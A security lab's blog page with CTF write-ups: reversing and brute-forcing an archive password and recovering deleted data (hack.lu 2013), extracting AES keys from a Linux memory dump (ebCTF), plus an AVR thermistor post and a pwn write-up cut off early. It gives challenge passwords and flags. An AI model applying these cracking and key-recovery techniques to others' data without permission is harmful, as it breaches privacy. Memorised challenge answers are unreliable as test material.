-
hack.lu 2013: FluxArchiv Write-up (both parts)
Written by Franck Michea
2013-10-27 23:01:53For this exercise with two parts (400 and 500 points), we were given too files: a binary named
archiv
and some data namedFluxArchiv.arc
. The two parts involved the same binary.When running the binary with no options, it displays an usage message containing the different options possible. We have:
- An option to list the files contained in the archive.
- An option to add a file to the archive.
- An option to extract a file from the archive.
- An option to delete a file in the archive.
Every command takes at least the archive name and a password. The last three also take a filename.
If you want to try it, it was dumped here, thanks to Jonathan Salwan.
Part 1: Find the password
Sooo, the first part of the exercise requires us to find the password of the archive
FluxArchiv.arc
given. We started reversing the binary and noticed a first thing: Awesome, the symbols were not stripped! ... Well actually they were shuffled, which is not that good, but it is not a real problem either. In this write-up, We will always keep the wrong names, but explain what they actually do.We started following the path in
main
that lists the files and followed the code to understand what is done to the password. This can be easily done by following parsing of the command line arguments.The first function called on the password argument is incorrectly named
checkHashOfPassword
. It will initialize a global buffer of length0x14
namedhash_of_password
(correctly) with the SHA-1 digest of the given password. This function is simple.If we continue to follow the listing option, it then checks that it can
access
the archive file given,fopen
s it and then callsencryptDecryptData
, that really only checks the magic number of the archive format, at position0x0
:FluxArhiv13
.If this went OK, it will then call
verifyArchiv
. This function will do the interesting thing for this part. It will check that our password is correct.It first
fseek
s to offset0xC
, and then reads0x14
from the archive: another SHA-1 digest. Then it will fill an internal buffer with a re-ordered version ofhash_of_password
. It will then take this buffer and calculate the SHA-1 digest of it. This digest is compared to the one read from the archive. If it matches, the password is good.So, in summary, the password is good if
sha1(reorder(sha1(password)))
equals to the20
bytes at offset0xC
in the archive.The subject says that the humans who created the archive were drunk and decided to use a 6 character, upper-case or digit password. That is
2.176.782.336
passwords possible. That looks brute-force worthy.We first wrote the reordering part (the one that calculates the source index) in python to compute them all. Once done, we decided to write something to brute-force the algorithm. The source code of the brute-forcer can be found here. With 8 threads, it takes 2 minutes and 30-something seconds to go through the whole password space on my i7, and outputs one password:
PWF41L
.Part 1 solved. For those interested, the archive contains 3 images and one mp3 file. They are not really useful.
Part 2: Find more!
OK so now that we have the password we can decrypt the data. Yes, indeed, the data is encrypted with RC4, using
hash_of_password
as the key. The decrypt part is in the functionsanitizeFilename
. First interesting thing: it is called a lot, and it always resets RC4. So you can't decipher the whole archive in one shot. Damn, we must understand the format then.The code is quite simple, but I am honestly bad at reverse engineering, so I decided to take this opportunity to try another approach for once: rewrite the program in C.
The complete source code can be downloaded here. It doesn't contain the whole program but only the parts I needed to understand what the program was doing and how to finish this part.
I started by scrolling the functions randomly and trying to understand the simple ones. One that was really useful was
listAllFilesInArchiv
.First, we can see in it a pattern we will find a lot: read 8 bytes, decrypt it and reverse it in a value byte per byte. I called this function
read_int
in my C code, it reads a 64-bit integer and switches its endianness.So the function reads two integers (
a
andb
) and then starts to do the interesting thing: It will clear both with zeros. Then it clears a field of size0x10
, and then a field of size0x60
.Another pattern we will find often is a loop for
i
from0
tob
excluded, seek toa
, read the integer at that position and use it as nexta
, then clear it and continue. In short,a
is the offset of the next block in a linked list of blocks, and the first block contains 4 fields, with the second one being the number of blocks. Later we discovered that this is necessary because the last block doesn't begin with an offset set to 0, but to some value to permit calculating its actual size. Here is the C:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
void listAllFilesInArchiv(FILE* stream, unsigned int off) { // delete_file char ptr[0x8]; uint64_t counter; uint64_t curpos; uint64_t nbblocks; uint64_t nextblock; fseek(stream, off, SEEK_SET); nextblock = read_int(stream); nbblocks = read_int(stream); fseek(stream, off, SEEK_SET); clear_data(stream, 8); clear_data(stream, 8); clear_data(stream, MD5_DIGEST_LENGTH); clear_data(stream, FILENAME_SZ); for (counter = 0; counter < nbblocks; ++counter) { fseek(stream, nextblock * 1040 + 0x20, SEEK_SET); curpos = ftell(stream); nextblock = read_int(stream); fseek(stream, curpos, SEEK_SET); clear_data(stream, 8); } }
The second interesting thing about this function is that it is called on delete (we can see it from command parsing). So an interesting thing rises: if a file was added and then deleted, its data is still present in the archive. It is only deleted from the listing and its blocks are considered "free".
The offset given to it comes from
extractFileFromArchiv
. This function starts by seeking to offset0x20
, so just after the global magic + the SHA-1 for the password. It checks a magic ("FluXL1sT"), then reads an integer and then checks for 8 structures of 128 bytes. This is the index! The integer read, if not null, is a link to the next list of 8 files (still beginning by the magic).Now we have enough to use my technique to find the unused blocks, but I actually rewrote the complete file listing and extraction to make sure I did it correctly. I then basically logged every block used: all blocks used are 1040 bytes long (this is why we have 8 entries of 128 bytes). I then compared it to the possible list of blocks and just decrypted these blocks. The key was in block at address
0x28a20 + 0x8
:1 2 3 4 5 6 7
$ python hacklu2013-fluxarchiv-unused-blocks.py logs Found unused block: 0x28200 Found unused block: 0x28610 Found unused block: 0x28a20 [...] $ python hacklu2013-fluxarchiv-decrypt.py 0x28a28 0x410 b"[...] alike.\n\n+++The Mentor+++\n\nFlag: D3letinG-1nd3x_F4iL\n\n[...]"
Example logs here.
Conclusion
I didn't finish the second part in time to have the points. I actually used techniques that took a lot of time, and I was quite slow anyway. My goal was not productivity. I took the first part as an opportunity to check that I remembered how to use
pthread
and the second part as a good example to try another technique for reverse engineering I never used before. Although it was a "slow" technique, it really helped me organise my thoughts and test/fetch data (like the offsets of used blocks, even though it was possible without).It was interesting to see. Next time will be for speed!
TweetPermalink & comments -
Dealing with the pull-up resistors on AVR
Written by Pierre Surply
2013-08-15 13:10:00My internship project was to design a temperature monitoring system for the LSE server room. Several homemade temperature probes, based on NTC thermistors, are now arranged in the laboratory. Each of them is connected to a USB interface with a RJ-45 cable.
The interface is based on an Atmel
AT90USBKEY
, a development board based on anAT90USB1287
microcontroller. It features a 10-bit successive approximation Analog-to-Digital Converter connected to an 8-channel Analog Multiplexer and a USB controller, which allows us to create a proper USB HID device.The host probes the interface to get the values of the different temperature sensors and collects them thanks to StatsD. The interface is exposed as a character device if it's binded to the appropriate driver and can communicate with the user space via
ioctl()
syscall.In our case, the interface is connected to a Sheevaplug, an ARM-based plug computer, which probes the values every 10 seconds and send them to the StatsD server via UDP.
The first problem I had to face is the strange values returned by the ADC on the channels 4 to 7 when no analog pin is connected:
1 2 3 4 5 6 7 8 9
$ cat /proc/temp_sensors T0: 478 T1: 473 T2: 471 T3: 383 T4: 1019 T5: 1023 T6: 1023 T7: 1023
1023 is the maximum value of the ADC result, this means that the analog inputs were subject to a voltage equal to the reference voltage (here, Varef = 3.3V).
Thanks to
AT90USB1287
documentation, we can see that pins PF4, PF5, PF6 and PF7 are also used by the JTAG interface.Port F pins alternate functions
If the JTAG interface is enabled, the pull-up resistors on pins PF7(TDI), PF5(TMS) and PF4(TCK) will be activated even if a Reset occurs. (AT90USB1287 specifications, Page 88)
In fact, it seems that the pin PF6 (TDO) pull-up resistor is also activated when the JTAG interface is enabled.
The input impedance of a converter is very high (due to internal operational amplifier), this justifies the fact that we find the voltage reference in the analog channels 4 to 7.
If we wanted to keep the JTAG enabled, the schematic of the electronic circuit would be:
The equivalent resistor Rh can easily be calculated:
Then, the resistance of the thermistor, which represents the current temperature, is given by:
Theoretically, we could consider this pull-up resistor in the calculation of the thermistor. However, the
AT90USB1287
specifications indicate that the values of the pull-up resistors are contained between 20KΩ and 50KΩ. This interval is too large to properly calibrate the sensors.Never mind: let's disable the JTAG interface! We don't really need it in our case.
The first way to do it is to unprogram JTAGEN fuse of the microcontroller. However, I can only use DFU (Device Firmware Upgrade) to program the device because I do not have the required equipment to use ICSP, JTAG or parallel programming for this kind of chip and, unfortunately, Fuses cannot be reprogrammed by the bootloader.
The other way is to set the bit JTD in the MCUCR register. In order to avoid unintentional disabling or enabling, the specifications ask to the application software to write this bit to the desired value twice within four cycles to change its value. This can be done with the following instructions:
1 2 3 4 5
asm volatile ("out %1, %0" "\n\t" "out %1, %0" "\n\t" : : "r" ((uint8_t) 1 << JTD), "i" (_SFR_IO_ADDR(MCUCR)));
Afterwards, the analog inputs 4 to 7 will get a normal behaviour and we can now use them to collect the different temperatures.
1 2 3 4 5 6 7 8 9
$ cat /proc/temp_sensors T0: 478 T1: 383 T2: 348 T3: 376 T4: 310 T5: 278 T6: 257 T7: 107
All values returned by the device are proportional to the thermistors voltage. As Negative Temperature Coefficient thermistors, their resistance goes up as temperature goes down and the temperature/resistance curve is not linear. The temperature (°C) can be calculated from this resistance with the following expression:
- Rt = thermistor resistance (Ω)
- Rh = second bridge resistor (Ω)
- β = NTC parameter equation (here, β = 4092)
- T0 = 298 °K (273 °K + 25 °K)
- K0 = 273 °K (= 0 °C)
Finally, this temperature monitoring system seems to work and we are now able to see how temperatures of the laboratory evolves as a function of time.
Evolution of temperatures (°C) as a function of time
-
LSE Summer Week 2013 Videos
Written by Gabriel Laskar
2013-08-05 16:30:00The videos for the LSE Summer Week 2013 are now available, you can find all of them on the page of the event.
All the talks are in French, but the slides are in English.
They are available as a direct download or a youtube link. There are 2 videos that are still missing, they will be available as soon as we get them.
For the LSE Winter Day 2013, we had some issues with the recording, but we have uploaded them anyway, you can see them on youtube, or directly on the event page, sorry in advance for the bad recording.
-
ebCTF 2013: FOR100
Written by Gabriel Laskar
2013-08-05 12:00:001 2 3 4 5 6
After a recent attack, we found this encrypted file. Luckily, we made a memory dump, can you decrypt the file? Archive password: lcoXse3oa3Uicioc http://ebctf.nl/files/883f6fdf1a87b7651b7216e1354a7e1f/flag http://194.171.96.106/ebctf/memory.7z
We took this exercise as an opportunity to learn to use volatility, so this writeup will be a little overcomplicated, we could have just done it with strings/grep, but it was a great way to learn more about how to search and exploit memory dump.
To begin with, we have a memory dump of a VirtualBox VM :
1 2 3 4 5 6 7 8
$ file memory.dump memory.dump: ELF 64-bit LSB core file x86-64, version 1 (SYSV) $ readelf -n memory.dump Notes at offset 0x000002a8 with length 0x00000480: Owner Data size Description VBCORE 0x00000018 Unknown note type: (0x00000b00) VBCPU 0x00000440 Unknown note type: (0x00000b01)
A little examination of the raw data indicates that it should be a linux, as we see the grub code in memory, and some indication of a kernel version :
1
BOOT_IMAGE=/boot/vmlinuz-3.5.0-23-generic root=UUID=d45d9170-0f93-4ff4-b5a5-be89760c0d77 ro
A little more search indicates that it is an Ubuntu 12.04
x86_64
image.In order to use volatility on linux dumps, we must build or find a profile of the kernel. Instructions for building a profile for a kernel can be found here.
With this profile in place we can now start to tinker with our dump. Let's start with the process list :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
$ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_pslist Volatile Systems Volatility Framework 2.3_beta Offset Name Pid Uid Gid DTB Start Time ------------------ -------------------- --------------- --------------- ------ ------------------ ---------- 0xffff88000f9b0000 init 1 0 0 0x000000000aff1000 2013-07-21 19:19:32 UTC+0000 0xffff88000f9b1700 kthreadd 2 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000f9b2e00 ksoftirqd/0 3 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa48000 migration/0 6 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa49700 watchdog/0 7 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa4ae00 cpuset 8 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa4c500 khelper 9 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa4dc00 kdevtmpfs 10 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa68000 netns 11 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa69700 sync_supers 12 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa6ae00 bdi-default 13 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa6c500 kintegrityd 14 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fa6dc00 kblockd 15 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fb00000 ata_sff 16 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fb01700 khubd 17 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000fb02e00 md 18 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000db90000 khungtaskd 21 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000db91700 kswapd0 22 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000db92e00 ksmd 23 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000db94500 fsnotify_mark 24 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000db95c00 ecryptfs-kthrea 25 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d5f0000 crypto 26 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d7a5c00 kthrotld 35 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d7a2e00 scsi_eh_0 36 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d7a1700 kworker/u:2 37 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d7a0000 scsi_eh_1 38 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d5f5c00 scsi_eh_2 39 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d5f4500 kworker/u:3 40 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000d5f1700 binder 42 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000f011700 deferwq 62 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000f012e00 charger_manager 63 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000f014500 devfreq_wq 64 0 0 ------------------ 2013-07-21 19:19:32 UTC+0000 0xffff88000ee35c00 jbd2/sda1-8 201 0 0 ------------------ 2013-07-21 19:19:33 UTC+0000 0xffff88000ee30000 ext4-dio-unwrit 202 0 0 ------------------ 2013-07-21 19:19:33 UTC+0000 0xffff88000ec7dc00 kworker/0:3 220 0 0 ------------------ 2013-07-21 19:19:35 UTC+0000 0xffff88000ec78000 upstart-udev-br 288 0 0 0x000000000ada3000 2013-07-21 19:19:37 UTC+0000 0xffff88000f2ddc00 udevd 332 0 0 0x000000000ef46000 2013-07-21 19:19:37 UTC+0000 0xffff88000c291700 udevd 496 0 0 0x000000000c2a6000 2013-07-21 19:19:37 UTC+0000 0xffff88000c292e00 udevd 497 0 0 0x000000000c2c1000 2013-07-21 19:19:37 UTC+0000 0xffff88000c838000 kpsmoused 546 0 0 ------------------ 2013-07-21 19:19:37 UTC+0000 0xffff88000c4c9700 upstart-socket- 638 0 0 0x000000000d939000 2013-07-21 19:19:38 UTC+0000 0xffff88000ee31700 dhclient3 706 0 0 0x000000000f0fb000 2013-07-21 19:19:38 UTC+0000 0xffff88000c4cc500 rsyslogd 720 101 103 0x000000000c600000 2013-07-21 19:19:38 UTC+0000 0xffff88000c83ae00 sshd 729 0 0 0x000000000bbce000 2013-07-21 19:19:38 UTC+0000 0xffff88000c4cdc00 dbus-daemon 759 102 105 0x000000000c538000 2013-07-21 19:19:38 UTC+0000 0xffff88000d1aae00 getty 822 0 0 0x000000000c641000 2013-07-21 19:19:38 UTC+0000 0xffff88000c62c500 getty 827 0 0 0x000000000d98c000 2013-07-21 19:19:38 UTC+0000 0xffff88000c839700 login 831 0 1000 0x000000000f28d000 2013-07-21 19:19:38 UTC+0000 0xffff88000c83dc00 getty 832 0 0 0x000000000d9c1000 2013-07-21 19:19:38 UTC+0000 0xffff88000c4cae00 getty 834 0 0 0x000000000c684000 2013-07-21 19:19:38 UTC+0000 0xffff88000d0a4500 acpid 837 0 0 0x000000000c315000 2013-07-21 19:19:39 UTC+0000 0xffff88000c83c500 cron 839 0 0 0x000000000d9da000 2013-07-21 19:19:39 UTC+0000 0xffff88000d1a9700 atd 840 0 0 0x000000000c327000 2013-07-21 19:19:39 UTC+0000 0xffff88000da11700 login 896 0 1000 0x000000000ae44000 2013-07-21 19:19:39 UTC+0000 0xffff88000c514500 whoopsie 901 103 106 0x000000000dae3000 2013-07-21 19:19:39 UTC+0000 0xffff88000bb15c00 bash 1064 1000 1000 0x000000000c6f0000 2013-07-21 19:19:46 UTC+0000 0xffff88000af90000 kworker/0:0 1313 0 0 ------------------ 2013-07-21 19:24:35 UTC+0000 0xffff88000af94500 kworker/0:2 1314 0 0 ------------------ 2013-07-21 19:29:36 UTC+0000 0xffff88000af91700 kworker/0:1 1315 0 0 ------------------ 2013-07-21 19:34:37 UTC+0000 0xffff88000af95c00 kworker/0:4 1316 0 0 ------------------ 2013-07-21 19:35:46 UTC+0000 0xffff88000af92e00 python2 1317 1000 1000 0x000000000c6fb000 2013-07-21 19:36:09 UTC+0000 0xffff88000d0a5c00 bash 1454 1000 1000 0x000000000d8c8000 2013-07-21 19:36:23 UTC+0000 0xffff88000f9b4500 flush-8:0 1552 0 0 ------------------ 2013-07-21 19:36:28 UTC+0000
As we can see here, we have a python2 instance launched (pid 1317). Let's examine the bash history, in order to see exactly what and how it has been launched. It is a quite long process, but with it we should be able to see exactly what was launched.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
$ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_bash Volatile Systems Volatility Framework 2.3_beta Pid Name Command Time Command -------- -------------------- ------------------------------ ------- 1064 bash 2013-07-21 19:19:47 UTC+0000 ps aux | grep ssh 1064 bash 2013-07-21 19:19:47 UTC+0000 sudo poweroff 1064 bash 2013-07-21 19:19:47 UTC+0000 ip addr 1064 bash 2013-07-21 19:20:53 UTC+0000 ls 1064 bash 2013-07-21 19:21:05 UTC+0000 python2 ctf.py 1064 bash 2013-07-21 19:21:29 UTC+0000 python2 ctf.py ' i hide my ' 1454 bash 2013-07-21 19:36:23 UTC+0000 ps aux | grep ssh 1454 bash 2013-07-21 19:36:23 UTC+0000 sudo poweroff 1454 bash 2013-07-21 19:36:23 UTC+0000 ip addr 1454 bash 2013-07-21 19:36:29 UTC+0000 ps aux | grep python 1454 bash 2013-07-21 19:37:04 UTC+0000 kill -s SIGUSR1 1317
Ok, so we have a python2 script
ctf.py
launched and after that, killed by aSIGUSR1
signal.If the code should still be in memory, but sadly, not in python memory, as was compiled before and the second launched should only load the
pyc
file.But if we search in memory, we can simply grep for
SIGUSR1
there should not be a lot of instance of it. And with that we get :1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
import sys import time import random import signal from Crypto.Cipher import AES key1 = "is this where" key2 = sys.argv[1] key3 = raw_input("Password: ") iv = 'a very random iv' secret = './flag' mode = AES.MODE_CBC def encrypt(signum, frame): key = key1 + key2 + key3 enc = AES.new(key, mode, iv) inp = raw_input("Enter secret: ") diff = len(inp) % 16 if diff != 0: inp += ' ' * (16 - diff) with open(secret, 'wb') as outfile: outfile.write(enc.encrypt(inp)) del key, enc def decrypt(signum, frame): key = key1 + key2 + key3 enc = AES.new(key, mode, iv) with open(secret, 'rb') as infile: print(enc.decrypt(infile.read(48))) del key, enc signal.signal(signal.SIGUSR1, encrypt) signal.signal(signal.SIGUSR2, decrypt) while True: time.sleep(1)
Now we have the code. There is a decrypt function that should give us the flag. we have found
key2
in the bash history, it was' i hide my '
. What we still miss is thekey3
string. So let's look at the python process memory.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
$ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_proc_maps -p 131 Volatile Systems Volatility Framework 2.3_beta Pid Start End Flags Pgoff Major Minor Inode File Path -------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- -------------------------------------------------------------------------------- $ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_proc_maps -p 1317 Volatile Systems Volatility Framework 2.3_beta Pid Start End Flags Pgoff Major Minor Inode File Path -------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- -------------------------------------------------------------------------------- 1317 0x0000000000400000 0x0000000000671000 r-x 0x0 8 1 1273 /usr/bin/python2.7 1317 0x0000000000870000 0x0000000000871000 r-- 0x270000 8 1 1273 /usr/bin/python2.7 1317 0x0000000000871000 0x00000000008da000 rw- 0x271000 8 1 1273 /usr/bin/python2.7 1317 0x00000000008da000 0x00000000008ec000 rw- 0x0 0 0 0 1317 0x0000000002109000 0x0000000002200000 rw- 0x0 0 0 0 [heap] 1317 0x00007f7e9a000000 0x00007f7e9a001000 rw- 0x0 0 0 0 1317 0x00007f7e9a001000 0x00007f7e9a009000 r-x 0x0 8 1 146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so 1317 0x00007f7e9a009000 0x00007f7e9a208000 --- 0x8000 8 1 146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so 1317 0x00007f7e9a208000 0x00007f7e9a209000 r-- 0x7000 8 1 146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so 1317 0x00007f7e9a209000 0x00007f7e9a20a000 rw- 0x8000 8 1 146852 /usr/lib/python2.7/dist-packages/Crypto/Cipher/AES.so 1317 0x00007f7e9a20a000 0x00007f7e9a4d3000 r-- 0x0 8 1 8358 /usr/lib/locale/locale-archive 1317 0x00007f7e9a4d3000 0x00007f7e9a4e8000 r-x 0x0 8 1 713 /lib/x86_64-linux-gnu/libgcc_s.so.1 1317 0x00007f7e9a4e8000 0x00007f7e9a6e7000 --- 0x15000 8 1 713 /lib/x86_64-linux-gnu/libgcc_s.so.1 1317 0x00007f7e9a6e7000 0x00007f7e9a6e8000 r-- 0x14000 8 1 713 /lib/x86_64-linux-gnu/libgcc_s.so.1 1317 0x00007f7e9a6e8000 0x00007f7e9a6e9000 rw- 0x15000 8 1 713 /lib/x86_64-linux-gnu/libgcc_s.so.1 1317 0x00007f7e9a6e9000 0x00007f7e9a89e000 r-x 0x0 8 1 968 /lib/x86_64-linux-gnu/libc-2.15.so 1317 0x00007f7e9a89e000 0x00007f7e9aa9d000 --- 0x1b5000 8 1 968 /lib/x86_64-linux-gnu/libc-2.15.so 1317 0x00007f7e9aa9d000 0x00007f7e9aaa1000 r-- 0x1b4000 8 1 968 /lib/x86_64-linux-gnu/libc-2.15.so 1317 0x00007f7e9aaa1000 0x00007f7e9aaa3000 rw- 0x1b8000 8 1 968 /lib/x86_64-linux-gnu/libc-2.15.so 1317 0x00007f7e9aaa3000 0x00007f7e9aaa8000 rw- 0x0 0 0 0 1317 0x00007f7e9aaa8000 0x00007f7e9aba3000 r-x 0x0 8 1 978 /lib/x86_64-linux-gnu/libm-2.15.so 1317 0x00007f7e9aba3000 0x00007f7e9ada2000 --- 0xfb000 8 1 978 /lib/x86_64-linux-gnu/libm-2.15.so 1317 0x00007f7e9ada2000 0x00007f7e9ada3000 r-- 0xfa000 8 1 978 /lib/x86_64-linux-gnu/libm-2.15.so 1317 0x00007f7e9ada3000 0x00007f7e9ada4000 rw- 0xfb000 8 1 978 /lib/x86_64-linux-gnu/libm-2.15.so 1317 0x00007f7e9ada4000 0x00007f7e9adba000 r-x 0x0 8 1 4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4 1317 0x00007f7e9adba000 0x00007f7e9afb9000 --- 0x16000 8 1 4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4 1317 0x00007f7e9afb9000 0x00007f7e9afba000 r-- 0x15000 8 1 4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4 1317 0x00007f7e9afba000 0x00007f7e9afbb000 rw- 0x16000 8 1 4874 /lib/x86_64-linux-gnu/libz.so.1.2.3.4 1317 0x00007f7e9afbb000 0x00007f7e9b15a000 r-x 0x0 8 1 1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 1317 0x00007f7e9b15a000 0x00007f7e9b359000 --- 0x19f000 8 1 1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 1317 0x00007f7e9b359000 0x00007f7e9b374000 r-- 0x19e000 8 1 1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 1317 0x00007f7e9b374000 0x00007f7e9b37f000 rw- 0x1b9000 8 1 1604 /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 1317 0x00007f7e9b37f000 0x00007f7e9b383000 rw- 0x0 0 0 0 1317 0x00007f7e9b383000 0x00007f7e9b3d5000 r-x 0x0 8 1 1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0 1317 0x00007f7e9b3d5000 0x00007f7e9b5d5000 --- 0x52000 8 1 1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0 1317 0x00007f7e9b5d5000 0x00007f7e9b5d8000 r-- 0x52000 8 1 1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0 1317 0x00007f7e9b5d8000 0x00007f7e9b5de000 rw- 0x55000 8 1 1603 /lib/x86_64-linux-gnu/libssl.so.1.0.0 1317 0x00007f7e9b5de000 0x00007f7e9b5df000 rw- 0x0 0 0 0 1317 0x00007f7e9b5df000 0x00007f7e9b5e1000 r-x 0x0 8 1 986 /lib/x86_64-linux-gnu/libutil-2.15.so 1317 0x00007f7e9b5e1000 0x00007f7e9b7e0000 --- 0x2000 8 1 986 /lib/x86_64-linux-gnu/libutil-2.15.so 1317 0x00007f7e9b7e0000 0x00007f7e9b7e1000 r-- 0x1000 8 1 986 /lib/x86_64-linux-gnu/libutil-2.15.so 1317 0x00007f7e9b7e1000 0x00007f7e9b7e2000 rw- 0x2000 8 1 986 /lib/x86_64-linux-gnu/libutil-2.15.so 1317 0x00007f7e9b7e2000 0x00007f7e9b7e4000 r-x 0x0 8 1 967 /lib/x86_64-linux-gnu/libdl-2.15.so 1317 0x00007f7e9b7e4000 0x00007f7e9b9e4000 --- 0x2000 8 1 967 /lib/x86_64-linux-gnu/libdl-2.15.so 1317 0x00007f7e9b9e4000 0x00007f7e9b9e5000 r-- 0x2000 8 1 967 /lib/x86_64-linux-gnu/libdl-2.15.so 1317 0x00007f7e9b9e5000 0x00007f7e9b9e6000 rw- 0x3000 8 1 967 /lib/x86_64-linux-gnu/libdl-2.15.so 1317 0x00007f7e9b9e6000 0x00007f7e9b9fe000 r-x 0x0 8 1 972 /lib/x86_64-linux-gnu/libpthread-2.15.so 1317 0x00007f7e9b9fe000 0x00007f7e9bbfd000 --- 0x18000 8 1 972 /lib/x86_64-linux-gnu/libpthread-2.15.so 1317 0x00007f7e9bbfd000 0x00007f7e9bbfe000 r-- 0x17000 8 1 972 /lib/x86_64-linux-gnu/libpthread-2.15.so 1317 0x00007f7e9bbfe000 0x00007f7e9bbff000 rw- 0x18000 8 1 972 /lib/x86_64-linux-gnu/libpthread-2.15.so 1317 0x00007f7e9bbff000 0x00007f7e9bc03000 rw- 0x0 0 0 0 1317 0x00007f7e9bc03000 0x00007f7e9bc25000 r-x 0x0 8 1 985 /lib/x86_64-linux-gnu/ld-2.15.so 1317 0x00007f7e9bca2000 0x00007f7e9bd96000 rw- 0x0 0 0 0 1317 0x00007f7e9bd97000 0x00007f7e9be1f000 rw- 0x0 0 0 0 1317 0x00007f7e9be23000 0x00007f7e9be25000 rw- 0x0 0 0 0 1317 0x00007f7e9be25000 0x00007f7e9be26000 r-- 0x22000 8 1 985 /lib/x86_64-linux-gnu/ld-2.15.so 1317 0x00007f7e9be26000 0x00007f7e9be28000 rw- 0x23000 8 1 985 /lib/x86_64-linux-gnu/ld-2.15.so 1317 0x00007fff39317000 0x00007fff39339000 rw- 0x0 0 0 0 [stack] 1317 0x00007fff393ff000 0x00007fff39400000 r-x 0x0 0 0 0
The python2 heap are on high addresses, and we should have some of the strings in it. So let's dump all the address space and search in it.
1 2 3 4 5 6 7 8 9
$ vol.py --profile=LinuxUbuntu1204x64 -f memory.dump linux_dump_map -p 1317 -D output/ $ grep -r 'i hide my' output/ Binary file output/task.1317.0x7f7e9bca2000.vma matches Binary file output/task.1317.0x7fff39317000.vma matches $ strings output/task.1317.0x7f7e9bca2000.vma | grep 'i hide my' i hide my is this where i hide my secrets? $ strings output/task.1317.0x7fff39317000.vma | grep 'i hide my' i hide my
As we can see that it should be
'secrets?'
. So we have the final modified python script :1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
import sys import time import random import signal from Crypto.Cipher import AES key1 = "is this where" key2 = ' i hide my ' key3 = 'secrets?' iv = 'a very random iv' secret = './flag' mode = AES.MODE_CBC def encrypt(signum, frame): key = key1 + key2 + key3 enc = AES.new(key, mode, iv) inp = raw_input("Enter secret: ") diff = len(inp) % 16 if diff != 0: inp += ' ' * (16 - diff) with open(secret, 'wb') as outfile: outfile.write(enc.encrypt(inp)) del key, enc def decrypt(signum, frame): key = key1 + key2 + key3 enc = AES.new(key, mode, iv) with open(secret, 'rb') as infile: print(enc.decrypt(infile.read(48))) del key, enc print(decrypt(0, 0))
and the flag is :
1 2
$ python2 ctf.py ebctf{55169c1c241aa20412da94b3fcbf8506}
This challenge was interesting, thank you Eindbazen and NFI for these Forensics Challenges. We did not had the time to finish any other, but we will do them later. We hope to see more forensics challenges like that in future CTFs.
-
ebCTF 2013: PWN300
Written by Clement Rouault
2013-08-04 20:00:00gopherd
is a linux elf32 gopher server which respond to simple requests:- a request just composed of
"\r\n"
will makegopherd
return its list of files, - a request
"MD5\r\n"
will make gopherd return the content of the file with the matching MD5.
Unfortunaly, the server replaces the contents of any file called
